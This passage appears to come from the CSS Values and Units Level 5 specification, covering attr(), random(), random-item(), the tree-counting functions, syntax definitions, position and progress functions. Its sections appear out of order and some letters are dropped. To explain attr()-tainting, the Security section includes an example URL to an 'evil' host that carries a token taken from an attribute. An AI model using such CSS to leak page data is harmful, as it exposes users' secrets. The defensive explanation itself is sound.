been the sole value of the shorthand. For example, the following shorthand declaration: margin: toggle(1px 2px, 4px, 1px 5px 4px); is equivalent to the following longhand declarations:margin-top: toggle(1px, 4px, 1px);margin-right: toggle(2px, 4px, 5px);margin-bottom: toggle(1px, 4px, 4px);margin-left: toggle(2px, 4px, 5px); Note that, since 1px appears twice in the top margin and 4px appears twice in bottom margin,they will cycle between only two valueswhile the left and right margins cycle through three.In other words, the declarations above will yield the same computed valuesas the longhand declarations below:margin-top: toggle(1px, 4px);margin-right: toggle(2px, 4px, 5px);margin-bottom: toggle(1px, 4px);margin-left: toggle(2px, 4px, 5px); which may not be what was intended. 7.5. Custom Property References: the var() notation The var() notation substitutes the value of a custom property,see the CSS Custom Properties for Cascading Variables Module. [CSS-VARIABLES] 7.6. Inherited Value References: the inherit() notation Like the inherit keyword, the inherit() functional notation resolves to the computed value of a property on the parent.Rather than resolving to the value of the same property, however,it resolves to the tokenized computed value of the property specified as its first argument.Its second argument, if present, is used as a fallbackin case the first argument resolves to the guaranteed-invalid valu

. inherit() is an arbitrary substitution function whose syntax is defined as:inherit() = inherit( custom-property-name, declaration-value? ) To resolve an inherit() function,return the inherited value of the custom property specified by the first argument,and (if specified) the fallback specified by the second argument. Note: Future levels of CSS may allow specifying standard CSS properties in inherit();however because the tokenization of computed values is not fully standardized for all CSS properties,this feature is deferred from Level 5.Note that the computed value differs from the used value,and is not always the resolved value returned by getComputedStyle();thus even if inherit(width) were allowed,it would frequently return the keyword auto, not the used length. 7.7. Attribute References: the attr() notation The attr() function substitutes the value of an attribute on an element into a property,similar to how the var() functionsubstitutes a custom property value into a function.attr() = attr( attr-name syntax? , declaration-value?)attr-name = [ ident-token | ]? ident-token The arguments of attr() are: attr-name Gives the name of the attribute being referenced,similar to wq-name (from [SELECTORS-3])but without the possibility of a wildcard prefix. If no namespace is specified(just an identifier is given, like attr(foo)),the null namespace is implied.(This is usually what’s desired,as namespaced

attributes are rare.In particular, HTML and SVG do not contain namespaced attributes.)As with attribute selectors,the case-sensitivity of attr-name depends on the document language. If attr() is used in a property applied to an element,it references the attribute of the given name on that element;if applied to a pseudo-element,the attribute is looked up on the pseudo-element’s originating element. syntax Specifies how the attribute value is parsed into a CSS value.Values that fail to parse according to the syntaxtrigger fallback. Omitting the syntax argumentcauses the attribute’s literal valueto be treated as the value of a CSS string,with no CSS parsing performed at all(including CSS escapes, whitespace removal, comments, etc). Note: This is different from specifying a syntax of *,which still triggers CSS parsing(but with no requirements placed on itbeyond that it parse validly),and which substitutes the result of that parsing directly,rather than as a string value. declaration-value Specifies a fallback value for the attr(),which will be substituted instead of the attribute’s valueif the attribute is missingor fails to parse as the specified type. If the syntax argument is omitted,the fallback defaults to the empty string if omitted;otherwise, it defaults to the guaranteed-invalid value if omitted. If a property contains one or more attr() functions,and those functions are syntactically valid,the entire property’s g

ammar must be assumed to be valid at parse time.It is only syntax-checked at computed-value time,after attr() functions have been substituted. Note that the default value need not be of the type given.For instance, if the type required of the attribute by the author is number px,the default could still be auto,like in width: attr(size number px, auto);. This example shows the use of attr() to visually illustrate datain an XML file: stock wood length="12"/ wood length="5"/ metal length="19"/ wood length="4"//stockstock::before { display: block; content: "To scale, the lengths of materials in stock are:";}stock * { display: block; width: attr(length number em, 0px); height: 1em; border: solid thin; margin: 0.5em;}wood { background: orange url(wood.png);}metal { background: silver url(metal.png);} 7.7.1. Attribute Value Substitution: the attr() notation attr() is an arbitrary substitution function,similar to var(),and so is replaced with the value it represents (if possible)at computed value time;otherwise, it’s replaced with the guaranteed-invalid value,which will make its declaration invalid at computed-value time. To resolve an attr() function: Let el be the element that the style containing the attr() functionis being applied to.Let attr name be the attribute name specified in the function.Let syntax be the syntax specified in the function,or null if it was omitted.Let f

llback be the declaration-value? argument specified in the function,or the guaranteed-invalid value if it was omitted. If there is no attribute named attr name on el,return the guaranteed-invalid value and fallback.Otherwise, let attr value be that attribute’s value. If syntax is null,return a CSS string whose value is attr value. Note: No parsing or modification of any kind is performed on the value. Parse with a syntax attr value, with syntax and el.Return the result and fallback. 7.7.2. Security An attr() function can reference attributesthat were never intended by the page to be used for styling,and might contain sensitive information(for example, a security token used by scripts on the page). In general, this is fine.It is difficult to use attr() to extract information from a pageand send it to a hostile party,in most circumstances.The exception to this is URLs.If a URL can be constructed with the value of an arbitrary attribute,purely from CSS,it can easily send any information stored in attributesto a hostile party,if 3rd-party CSS is allowed at all. To guard against this,the values produced by an attr() are considered attr()-tainted,as are functions that contain an attr()-tainted value. Registered custom properties containing attr() maintain the attr()-taint on their attr()-tainted valuesacross var() substitution. Using an attr()-tainted value as or in a url makes a declaration

nvalid at computed-value time. For example,all of the following are invalid: background-image: src(attr(foo)); - can’t use it directly. background-image: image(attr(foo)) - can’t use it in other url-taking functions. background-image: src(string("http://example.com/evil?token=" attr(foo))) - can’t "launder" it thru another function. --foo: attr(foo); background-image(src(var(--foo))) (assuming that --foo is a registered custom property with string syntax) - can’t launder the value thru another property, either. However, using attr() for other purposes is fine,even if the usage is near a url: background-image: image("foo.jpg", attr(bgcolor color)) is fine;the attr() is providing a fallback color,and the url isn’t attr()-tainted. Note: Implementing this restrictionrequires tracking a dirty biton values constructed from attr() values,since they can be fully resolved into a stringvia registered custom properties,so you can’t rely on just examining the value expression.Note that non-string types can even trigger this,via functions like string() that can stringify other types of values: --foo: attr(foo number); background-image: src(string(var(--foo))) needs to be invalid as well. 8. Generating Random Values It is often useful to incorporate some degree of "randomness" to a design,either to make repeated elements on a page feel less static and identical,or just to

dd a bit of "flair" to a page without being distracting. The random() and random-item() functions(the random functions)allow authors to incorporate randomness into their page,while keeping this randomness predictable from a design perspective,letting authors decide whether a random value should be reused in several placesor be unique between instances. The exact random-number generation method is UA-defined.It should be the case that two distinct random valueshave no easily-detectable correlation,but this specification intentionally does not specify what that meansin terms of cryptographic strength.Authors must not rely on random functions for any purposes that depend on quality cryptography. 8.1. Generating a Random Numeric Value: the random() function The random() function is a math function that represents a random value between a minimum and maximum value,drawn from a uniform distribution,optionally limiting the possible values to a step between those limits:random() = random( random-caching-options? , calc-sum, calc-sum, [by calc-sum]? )random-caching-options = dashed-ident || per-element Its arguments are: random-caching-options The optional random-caching-options provides some control over whether a given random() functionresolves similarly or differently to other random()s on the page.See § 8.3 Generating/Caching Random Values: the random-caching-options value for details. By default, rand

m() resolves to a single value,shared by all elements using that style,and two random() functions with identical argumentswill resolve to the same random value. Providing a dashed-ident does nothing,but can make the argument lists distinctbetween two or more otherwise-identical random() functions,so they’ll generate distinct values. The per-element keyword causes the random() functionto generate a different value on each element the function is applied to,rather than resolving to a single value per usage in the stylesheet. calc-sum, calc-sum The two required calculations specify the minimum and maximum valuethe function can resolve to.Both limits are inclusive(the result can be the min or the max). If the maximum value is less than the minimum value,it behaves as if it’s equal to the minimum value. For example, random(100px, 300px) will resolve to a random length between 100px and 300px:it might be 100px, 300px, or any value between them like 234.5px. by calc-sum The final optional argumentspecifies a step value:the values the function can resolve toare further restricted to the form min + (N * step),where N is a non-negative integerchosen uniformly randomly from the possible valuesthat result in an in-range value. For example, random(100px, 300px, by 50px) can only resolve to 100px, 150px, 200px, 250px, or 300px;it will never return a value like 120px. While the minimum value is a

ways a possible result,the maximum value isn’t always,if it’s not also a multiple of the step from the minimum.For example, in random(100px, 300px, by 30px),the largest possible value it can resolve to is 280px,6 steps from the minimum value. Note that rounding issues might have an effect here:in random(100px, 200px, by 100px / 3) you’ll definitely get three possible values(100px, and approximately 133.33px and 166.67px),but whether 200px is possible depends on rounding precision.To be safe, you can put the maximum value slightly above where you expect the final step to land,like random(100px, 201px, by 100px / 3). As explained in the definition of round(),CSS has no "natural" precision for values,but the step value can be used to assign one. For example, random(100px, 500px, by 1px) restricts it to resolving only to whole px values; random(1, 10, by 1) is restricted to resolving only to integers;etc. Note: The definition of the step does not allowfor naively generating a random value in the rangeand then rounding it to the nearest step value,as that can result in the values not appearing with the same weights.For example, random(100px, 200px, by 50px) has to generate the three possible values each with a 1/3 chance;a naive rounding-based method will instead incorrectly generate 150px twice as often as the boundary values. All of the calculation arguments can resolve to any number, dimension, or percentag

but must have the same type, or else the function is invalid;the result will have the same type as the arguments. For example, random(50px, 100%, by 1em) is valid(assuming percentages are valid in the context this is used,and resolve to a length),as all three arguments resolve to a length. However, random(50px, 180deg) is invalid,as lengths and angles are not the same type. A random() function can be simplified as soon as its argument calculations can be simplified to numeric values. Note: This means that random() is usually resolvedby computed value time,and thus will inherit as a static numeric value.However, if the argument calculations aren’t resolveduntil used value time(such as if they include percentage valuesthat require layout information to resolve), inheritance will transfer the random() function itself.(This is no different, however, to the behavior of the percentages themselves,which would inherit as percentagesand thus might resolve to different values on the child elements.) At least in theory it should be fine to use random() in non-property contexts,so long as per-element isn’t specified;it’s well-defined what happens with @media (max-width: random(100px, 500px)) {...},for example.I suspect we want to disallow it, tho? 8.1.1. Argument Ranges In random(A, B, by C),if A or B is infinite,the result is NaN.If C is infinite,the result is A. (If C is zero or negative,the r

sult is A,but that falls out of the standard definition.) Note: As usual for math functions,if any argument calculation is NaN,the result is NaN. 8.2. Picking a Random Item From a List: the random-item() function The random-item() functionresolves to a random itemfrom among its list of items.random-item() = random-item( random-caching-options , [ declaration-value? ]# ) The required random-caching-options is interpreted identically to random().(See § 8.3 Generating/Caching Random Values: the random-caching-options value for details.) Like random(),the dashed-ident can be used to force similar random-item() functionsto generate distinct random values,and per-element causes it to resolve to a distinct value on each element. Aside from these,the grouping of random-item() functions as "identical"is much simpler:all that matters is the number of arguments. That is, random-item(--x, red, blue, green) and random-item(--x, 1, 2, 3) will always resolve to the same argument index:either red and 1, or blue and 2, or green and 3.This allows coordination between groups of propertiesthat all want to use a random set of values. On the other hand, random-item(--x, red, blue, green) and random-item(--x, 1, 2, 3, 4) will have no connection to each other;any of the 12 possible combinations can occur. Note: The random-caching-options argument is required in random-item(),but optional in random(),

tboth for parsing reasons(it’s impossible to tell whether random-item(--foo, --bar, --baz) has three declaration-value argumentsor two and a random-caching-options argument),and because accidentally associating the random generation of random-item() functions togetheris much easier to do accidentally,since only the number of arguments is used to distinguish instances. The remaining arguments are arbitrary sequences of CSS values.The random-item() function resolves to one of these sequences,chosen uniformly at random. The random-item() function is an arbitrary substitution function,like var(). That is, if you use random-item(): So long as random-item() itself (and any other arbitrary substitution functions)is syntactically valid,the entire property is assumed to be valid at parse time. random-item() is substituted with whatever value it resolves toat computed value timewhen you’d substitute a var(),so children all inherit the same resolved value. If the substituted value ends up making the property invalid,the property’s value becomes the guaranteed-invalid value. Define arbitrary substitution function,probably over in Variables,since we have several upcoming functions leaning on this functionality. Since random-item() is var()-like,we probably want to restrict it to only be usable in properties.(This is likely something we want to apply to all such functions.)Tho random() is a fundament

lly different kind of value,we probably want to restrict it as well,for thematic consistency. 8.3. Generating/Caching Random Values: the random-caching-options value In a programming language like JavaScript,there’s a clear temporal ordering to code,so you can tell exactly when something like a call to Math.random() is evaluated.You can also store the results in a variable,making it clear when you’re reusing a single random value in multiple places,versus using a distinct random value in each location. CSS, on the other hand, is a declarative language(code is not "executed" in any particular order,nor is there any control over how many times something is "executed");it makes it very easy to apply identical styles to multiple elementsbut difficult to specify distinct values for each of them(making it unclear whether a property using random() is meant to resolve to the same value on each element it’s applied toor to distinct values on each);and it has very limited "variable" functionality(making it difficult to intentionally reuse a particular randomly-generated value in several places). To resolve these issues,the random() and random-item() functions are defined to generate random valuesunder the following caching semantics: Each instance of random() or random-item() in a stylesheetspecifies a random-caching key.Two instances of either function must resolve to identical valuesif their random-caching keys are identical;t

ey must resolve to distinct valuesif they’re different. ("Distinct" here means generated by a fresh random operation;this might coincidentally result in the same value as another random operation.) For random(),the random-caching key is a tuple of: The used value of the minimum calculation. The used value of the maximum calculation. The used value of the step calculation, if present,or null otherwise. The dashed-ident part of the random-caching-options, if present,or null otherwise. If per-element is specified in the random-caching-options,a unique value per element or pseudo-element the function appears in. For random-item(),the random-caching key is a tuple of: The number of arguments to the function. The dashed-ident part of the random-caching-options, if present,or null otherwise. If per-element is specified in the random-caching-options,a unique value per element or pseudo-element the function appears in. The "unique value per element or pseudo-element" must have the same lifetimeas a JavaScript reference to the element(or to the originating element + sufficient additional info to uniquely identify the pseudo-element).Elements in separate documents(including across refreshes of the same page,which produces distinct documents with distinct elements) should have distinct unique values.(This is not strictly re

uired,to allow for pseudo-random generation of these values,but uniqueness should be likely enoughthat authors cannot depend on elements having the same values across documents.) Additionally, the random generation method should generate distinct values for the same operationwhen invoked on different documents(including refreshes of the same page). For example, in the following stylesheet: .random-square { width: random(100px, 500px); height: random(100px, 500px);} The random-caching keys for both functions are identical: (100px, 500px, null, null, null).This means that both will resolve to the exact same value,guaranteeing a square elementwith a size somewhere between 100px and 500px.Additionally, every .random-square elementwill have the same size. On other hand, in this stylesheet:.random-rect { width: random(100px, 500px); height: random(--x, 100px, 500px);} The random-caching keys are distinct between the two functions:the function in width has (100px, 500px, null, null, null),while the function in height has (100px, 500px, null, --x, null). This means the two functions will resolve to distinct random values,making it very unlikely for the element to be square.However, every element matching .random-rect will still have the same random size. Changing any aspect of the function also alters this key.The following two declarations are similarly distinct,resulting in the width and height havi

g no connection to each other:.random-rect-2 { width: random(100px, 500px); height: random(100px, 500px, by 50px);} But so long as the used values end up identical,two functions that look distinct might end up identical.For example, in the following code:.random-square-2 { font-size: 16px; width: random(160px, 320px); height: random(10em, 20em);} The two functions superficially look different,but after the lengths are fully resolvedthey end up with identical random-caching keys;each is (160px, 320px, null, null, null),so actually the widths and heights will end up always identical. By default, each instance of a random() function in a stylesheetessentially resolves to a static value,which is then shared by every element that property applies to.This behavior can be changed with the per-element keyword. For example, in:.foo { width: random(100px, 500px); } Multiple elements matching .foo will end up with the same random width. But in:.foo { width: random(per-element, 100px, 500px); } Every element matching .foo will get its own unique width. Note that this causes the value to be unique per element,not per value necessarily.For example, in:.random-squares { width: random(per-element, 100px, 500px); height: random(per-element, 100px, 500px);} Every element matching .random-squares will get a distinct random value,but that value will be the same for width and height on a given element,

aking the element square.This is because in both propertiesthe random-caching key is (100px, 500px, null, null, [unique value for the element]),so both functions will resolve to the same length on a single element. This makes random values in custom properties act more predictably.The preceding code could also be written as:.foo { --size: random(per-element, 100px, 500px); width: var(--size); height: var(--size);} 9. Tree Counting Functions: the sibling-count() and sibling-index() notations The sibling-count() functional notation represents,as an integer,the total number of child elements in the parent of the element on which the notation is used. The sibling-index() functional notation represents,as an integer,the index of the elementon which the notation is usedamong the children of its parent.Like :nth-child(), sibling-index() is 1-indexed. Note: The counter() function can provide similar abilities as sibling-index(),but returns a string rather than an integer. When used on a pseudo-element,these both resolve as if specifiedon its ultimate originating element. Note: Like the rest of CSS (other than selectors), sibling-count() and sibling-index() operate on the flat tree. Note: These functions may, in the future,be extended to accept an of selector argument,similar to :nth-child(),to filter on a subset of the children

Introduction This is a diff spec against CSS Values and Units Level 4. 1.1. Module Interactions This module extends [CSS-VALUES-4] which replaces and extends the data type definitions in [CSS21] sections 1.4.2.1, 4.3,and A.2. 2. Textual Data Types See CSS Values 4 § 4 Textual Data Types. 3. Value Definition Syntax See CSS Values 4 § 2 Value Definition Syntax. Additionally, Boolean combinations of a conditional notation.These are written using the boolean-expr[] notation,and represent recursive expressions of boolean logicusing keywords and parentheses,applied to the grammar specified in brackets,e.g. boolean-expr[ ( <media-feature> ) ] to express media queries. 3.1. Functional Notation Definitions See CSS Values 4 § 2.6 Functional Notation Definitions. 3.1.1. Commas in Function Arguments Functional notation often uses commasto separate parts of its internal grammar.However, some functions(such as mix())allow values that, themselves,can contain commas.These values(currently whole-value, declaration-value, and any-value)are comma-containing productions. To accommodate these sorts of grammars unambiguously,the comma-containing productions can be optionally wrapped in curly braces {}.These braces are syntactic, not part of the actual value.Specifically: A comma-containing production can either start with a "{" token, or not. If it does not start with

"{" token,then it cannot contain commas or {} blocks,in addition to whatever specific restrictions it defines for itself.(The production stops parsing at that point,so the comma or {} block is matched by the next grammar term instead;probably the function’s own argument-separating comma.) If it does start with a "{" token,then the production matches just the {} block that the "{" token opens.It represents the contents of that block,and applies whatever specific restrictions it defines for itselfto those contents,ignoring the {} block wrapper. For example, the grammar of the random-item() function is: random-item( random-caching-options, [declaration-value?]# ) The # indicates comma-separated repetitions,so randomly choosing between three keywordswould be written as normal for functions,like:font-family: random-item(--x, serif, sans-serif, monospace); However, sometimes the values you want to choose betweenneed to include commas.When this is the case,wrapping the values in {}allows their commas to be distinguishedfrom the function’s argument-separating commas:font-family: random-item(--x, {Times, serif}, {Arial, sans-serif}, {Courier, monospace}); This randomly chooses one of three font-family lists:either Times, serif, or Arial, sans-serif, or Courier, monospace. This is not all-or-nothing;you can use {} around some arguments that need it,while leaving others bare when they don’t need it.You are

also allowed to use {} around a value when it’s not strictly required.For example:font-family: random-item(--x, {Times, serif}, sans-serif, {monospace}); This represents choosing between three font-family lists:either Times, serif, or sans-serif, or monospace. However, this {}-wrapping is only allowed for some function arguments—​those defined as comma-containing productions.It’s not valid for any other productions;if you use {} around other function arguments,it’ll just fail to match the function’s grammarand become invalid.For example, the following is invalid:background-image: linear-gradient(to left, {red}, magenta); Note: Because {} wrappers are allowed even when not explicitly required,they can be used defensively around valueswhen the author isn’t sure if they’ll end up containing commas or not,due to arbitrary substitution functions like var().For example, font-family: random-item(--x, {var(--list1)}, monospace) will work correctlyregardless of whether the --list1 custom propertycontains a comma-separated list or not. Functional notations are serialized without {} wrappers whenever possible. The following generic productions are comma-containing productions: any-value whole-value declaration-value For legacy compat reasons,the declaration-value defined the fallback value for var() is a non-strict comma-containing production.It ignores the rules restricting what it can co

tainwhen it does not start with a "{" token:it is allowed to contain commas and {} blocks.It still follows the standard comma-containing production ruleswhen it does start with a "{" token, however:the fallback is just the contents of the {} block,and doesn’t include the {} wrapper itself. Other contexts may define that they use non-strict comma-containing productions,but it should be avoided unless necessary. 3.2. Boolean Expression Multiplier boolean-expr[] Several contexts(such as @media, @supports, if(), ...)specify conditions,and allow combining those conditions with boolean logic (and/or/not/grouping).Because they use the same non-trivial recursive syntax structure,the special boolean-expr[] production represents this pattern generically. The boolean-expr[] notation wraps another value type in the square brackets within it,e.g. boolean[ test ],and represents that value type alone as well asboolean combinationsusing the not, and, and or keywordsand grouping parenthesis.It is formally equivalent to:boolean-expr[ test ] = not boolean-expr-group | boolean-expr-group [ [ and boolean-expr-group ]* | [ or boolean-expr-group ]* ]boolean-expr-group = test | ( boolean-expr[ test ] ) | general-enclosed The boolean-expr[] production represents a true, false, or unknown value.Its value is resolved using 3-value Kleen

logic,with top-level unknown values(those not directly nested inside the grammar of another boolean-expr[])resolving to false unless otherwise specified;see Appendix B: Boolean Logic for details. For example, the @container rule allows a wide variety of tests:including size queries, style queries, and scroll-state queries.All of these are arbitrarily combinable with boolean logic.Using boolean-expr[], the grammar for an @container querycould be written as: container-query = boolean-expr[ cq-test ]cq-test = (size-query) | style( style-query ) | scroll-state( scroll-state-query )size-query = boolean-expr[ ( size-feature ) ] | size-featurestyle-query = boolean-expr[ ( style-feature ) ] | style-featurescroll-state-query = boolean-expr[ ( scroll-state-feature ) ] | scroll-state-feature The general-enclosed branch of the logic allows for future compatibility—​unless otherwise specified new expressions in an older UAwill be parsed and considered “unknown”,rather than invalidating the production.For consistency with that allowance,the test term in a boolean-expr[] should be defined to match general-enclosed. 3.3. Specifying CSS Syntax in CSS: the syntax type Some features in CSS,such as the attr() functionor registered custom properties,allow you to specify how another value is meant to be parsed.This is declared via the syntax production,which resembles a limited form of the CSS va

ue definition syntax used in specifications to define CSS features,and which represents a syntax definition:syntax = * | syntax-component [ syntax-combinator syntax-component ]* | syntax-stringsyntax-component = syntax-single-component syntax-multiplier? | transform-list syntax-single-component = syntax-type-name | identsyntax-type-name = angle | color | custom-ident | image | integer | length | length-percentage | number | percentage | resolution | string | time | url | transform-functionsyntax-combinator = |syntax-multiplier = [ # | + ]syntax-string = string A syntax-component consists of eithera syntax-type-name between (angle brackets),which maps to one of the supported syntax component names,or an ident, which represents any keyword.Additionally,a syntax-component may contain a multiplier,which indicates a list of values. Note: This means that length and length are two different types:the former describes a length,whereas the latter describes a keyword length. Multiple syntax-components may be combined with a | delim-token,causing the syntax components to be matchedagainst a valuein the specified order. percentage | number | auto The above, when parsed as a syntax,would accept percentage values, number values,as well as the keyword auto. red | color The syntax def

nition resulting from the above syntax,when used as a grammar for parsing,would match an input red as an identifier,but would match an input blue as a color. The * delim-token represents the universal syntax definition. The transform-list productionis a convenience form equivalent to transform-function+. Note that transform-list may notbe followed by a syntax-multiplier. Whitespace is not allowedbetween the angle bracket delim-tokens ( )and the syntax-type-name they enclose,nor is whitespace allowed to precede a syntax-multiplier. Note: The whitespace restrictions also apply to transform-list. A syntax-string is a string whose value successfully parses as a syntax,and represents the same value as that syntax would. Note: syntax-string mostly exists for historical purposes;before syntax was defined,the @property rule used a string for this purpose. 3.3.1. Parsing as syntax The purpose of a syntax is usually to specify how to parse another value(such as the value of a registered custom property,or an attribute value in attr()).However, the generic parse something according to a CSS grammar algorithmreturns an unspecified internal structure,since parse results might be ambiguousand need further massaging. To avoid these issues and get a well-defined result,use parse with a syntax: To parse with a syntax given a string or list or component values values,a syntax value syntax,and optionally an

element el for context,perform the following steps.It returns either CSS values,or the guaranteed-invalid value. Parse a list of component values from values,and let raw parse be the result. If el was given, substitute arbitrary substitution functions in raw parse,and set raw parse to that result. parse values according to syntax,with a * value treated as declaration-value?,and let parsed result be the result.If syntax used a | combinator,let parsed result be the parse result from the first matching clause. If parsed result is failure,return the guaranteed-invalid value. Assert: parsed result is now a well-defined list of one or more CSS values,since each branch of a syntax defines an unambiguous parse result(or the * syntax is unambiguous on its own). Return parsed result. Note: This algorithm does not resolved the parsed valuesinto computed values;the context in which the value is used will usually do that already,but if not,the invoking algorithm will need to handle that on its own. 4. Extensions to Level 4 Value Types See CSS Values and Units Level 4. 4.1. Resource Locators: the url type See CSS Values 4 § 4.5 Resource Locators: the url type. 4.1.1. Request URL Modifiers request-url-modifiers are url-modifiersthat affect the url’s resource request by applying associated URL request modifier steps.See CSS Values 4 § 4.5.4 URL Processing Model. This specificati

n defines the following request-url-modifiers:request-url-modifier = crossorigin-modifier | integrity-modifier | referrerpolicy-modifiercrossorigin-modifier = crossorigin(anonymous | use-credentials)integrity-modifier = integrity(string)referrerpolicy-modifier = referrerpolicy(no-referrer | no-referrer-when-downgrade | same-origin | origin | strict-origin | origin-when-cross-origin | strict-origin-when-cross-origin | unsafe-url) crossorigin-modifier = crossorigin(anonymous | use-credentials) The URL request modifier steps for this modifier given request req are: Set requests mode to "cors". If the given value is use-credentials,set requests credentials mode to "include". integrity-modifier = integrity(string) The URL request modifier steps for this modifier given request req are to set requests integrity metadata to the given string. referrerpolicy-modifier = referrerpolicy(no-referrer | no-referrer-when-downgrade | same-origin | origin | strict-origin | origin-when-cross-origin | strict-origin-when-cross-origin | unsafe-url) The URL request modifier steps for this modifier given request req are to set requests referrer policy to the ReferrerPolicy that matches the given value. To apply request modifiers from URL value given a request req and a url url,call the URL request modifier steps for url’s request-url-modifiers in sequencegiven req. 4.2. 2D Po

itioning: the position type The position value specifies the positionof an alignment subject (e.g. a background image)inside an alignment container (e.g. its background positioning area)as a pair of offsets between the specified edges(defaulting to the left and top).Its syntax is:position = position-one | position-two | position-fourposition-one = [ left | center | right | top | bottom | x-start | x-end | y-start | y-end | block-start | block-end | inline-start | inline-end | length-percentage]position-two = [ [ left | center | right | x-start | x-end ] && [ top | center | bottom | y-start | y-end ]| [ left | center | right | x-start | x-end | length-percentage ] [ top | center | bottom | y-start | y-end | length-percentage ]| [ block-start | center | block-end ] && [ inline-start | center | inline-end ]| [ start | center | end ]{2}]position-four = [ [ [ left | right | x-start | x-end ] length-percentage ] && [ [ top | bottom | y-start | y-end ] length-percentage ]| [ [ block-start | block-end ] length-percentage ] && [ [ inline-start | inline-end ] length-percentage ]| [ [ start | end ] length-percentage ]{2}] If only one value is specified (position-one),the second value is assumed to be center. If two values are given (position-two),a length-percentage as the first value representsthe horizontal position as the offset betweenthe left edges of the alignment subject and alignment container,and

length-percentage as the second value representsthe vertical position as an offset between their top edges. If both keywords are one of start or end,the first one represents the block axis and the second the inline axis. Note: A pair of axis-specific keywords can be reordered,while a combination of keyword and length or percentage cannot.So center left or inline-start block-end is valid,while 50% left is not. start and end aren’t axis-specific,so start end and end start represent two different positions. If four values are given (position-four)then each length-percentage represents an offset betweenthe edges specified by the preceding keyword.For example, background-position: bottom 10px right 20px represents a 10px vertical offset up from the bottom edgeand a 20px horizontal offset leftward from the right edge. Positive values represent an offset inward from the edge of the alignment container.Negative values represent an offset outward from the edge of the alignment container. The following declarations give the stated (horizontal, vertical)offsets from the top left corner: background-position: left 10px top 15px; /* 10px, 15px */background-position: left top ; /* 0px, 0px */background-position: 10px 15px; /* 10px, 15px */background-position: left 15px; /* 0px, 15px */background-position: 10px top ; /* 10px, 0px */ positions can also be relative to other corners than

the top left.For example, the following puts the background image10px from the bottom and 3em from the right: background-position: right 3em bottom 10px The computed value of a position isa pair of offsets (horizontal and vertical),each given as a computed length-percentage value,representing the distance between the left edges and top edges (respectively)of the alignment subject and alignment container. length-percentage A length-percentage value specifies the size of the offsetbetween the specified edges of the alignment subject and alignment container. For example, for background-position: 2cm 1cm,the top left corner of the background image is placed2cm to the right and 1cm belowthe top left corner of the background positioning area. A percentage for the horizontal offset is relative to(width of alignment container - width of alignment subject).A percentage for the vertical offset is relative to(height of alignment container - height of alignment subject). For example, with a value pair of 0% 0%,the upper left corner of the alignment subject is aligned withthe upper left corner of the alignment container A value pair of 100% 100% placesthe lower right corner of the alignment subject in the lower right corner of the alignment container.With a value pair of 75% 50%,the point 75% across and 50% down the alignment subject is to

e placed at the point 75% across and 50% down the alignment container. Diagram of the meaning of background-position: 75% 50%. top right bottom left Offsets the top/left/right/bottom edges (respectively)of the alignment subject and alignment container by the specified amount (defaulting to 0%)in the corresponding axis. y-start y-end x-start x-end Computes the same as the physical edge keywordcorresponding to the start/end sidein the [=y-axis|y/x axis. block-start block-end inline-start inline-end Computes the same as the physical edge keywordcorresponding to the start/end sidein the block/inline axis. center Computes to a 50% offset in the corresponding axis. Unless otherwise specified, the flow-relative keywords are resolvedaccording to the writing mode of the element on which the value is specified. Note: The background-position property also accepts a three-value syntax.This has been disallowed generically because it creates parsing ambiguitieswhen combined with other length or percentage components in a property value. Need to define how this syntax would expand to the longhands of background-position if e.g. var() is used for some (or all) of the components. [Issue #9690] 4.2.1. Parsing position When specified in a grammar alongside other keywords, lengths, or percentages, position is greedily parsed;\

it consumes as many components as possible. For example, transform-origin defines a 3D positionas (effectively) position length?.A value such as left 50px will be parsed as a 2-value position,with an omitted z-component;on the other hand,a value such as top 50px will be parsed as a single-value position followed by a length. 4.2.2. Serializing position When serializing the specified value of a position: If only one component is specified: The implied center keyword is added,and a 2-component value is serialized. If two components are specified: Keywords are serialized as keywords. length-percentages are serialized as length-percentages. Components are serialized horizontal first, then vertical. If four components are specified: Keywords and offsets are both serialized. Components are serialized horizontal first, then vertical;alternatively block-axis first, then inline-axis. Note: position values are never serialized as a single value,even when a single value would produce the same behavior,to avoid causing parsing ambiguities in some grammarswhere a position is placed next to a length,such as transform-origin. The computed value of a position is serialized as a pair of length-percentagesrepresenting offsets from the left and top edges, in that order. 4.2.3. Combination of

position Interpolation of position is defined asthe independent interpolation of each component (x, y)normalized as an offset from the top left corneras a length-percentage. Addition of position is likewise defined asthe independent addition each component (x, y)normalized as an offset from the top left corneras a length-percentage. 5. Interpolation Progress Functional Notations This section is an exploratory draft, and not yet approved by the CSSWG. [Issue #6245] The progress(), media-progress(), and container-progress() functional notations represent the proportional distanceof a given value (the progress value)from one value (the progress start value)to another value (the progress end value).They allow drawing a progress ratio from math functions, media features, and container features,respectively,following a common syntactic pattern:progress-function() = progress-function( progress value from start value to end value ) Each resolves to a number by calculating a progress function. To calculate a progress function,given a progress value, progress start value,and progress end value: If the progress start value and progress end value are different values (progress value - progress start value) / (progress end value - progress start value). If the progress start value and progress end value are the same value 0, -∞, or +∞,depending on whether progress value is equal to, less than,

or greater thanthe shared value. Note: The return value is a plain number,not made consistent with its arguments by default. The resulting number can then be input into other calculations,such as a math function or a mix notation. 5.1. Calculated Progress Values: the progress() notation The progress() functional notationreturns a number valuerepresenting the position of one calculation (the progress value)between two other calculations (the progress start value and progress end value). progress() is a math function. The syntax of progress() is defined as follows:progress() = progress(calc-sum, calc-sum, calc-sum) where the first, second, and third calc-sum values representthe progress value, progress start value, and progress end value,respectively. The argument calculations can resolve to any number, dimension, or percentage,but must have a consistent type or else the function is invalid. The value of progress() is a number,determined by calculating a progress function,then made consistent with the consistent type of its arguments. Do we need a percent-progress() notation,or do enough places auto-convert that it’s not necessary? Note: The progress() function is essentially syntactic sugarfor a particular pattern of calc() notations,so it’s a math function. 5.2. Media Query Progress Values: the media-progress() notation Similar to the progress() notation,the media-progress() functional nota

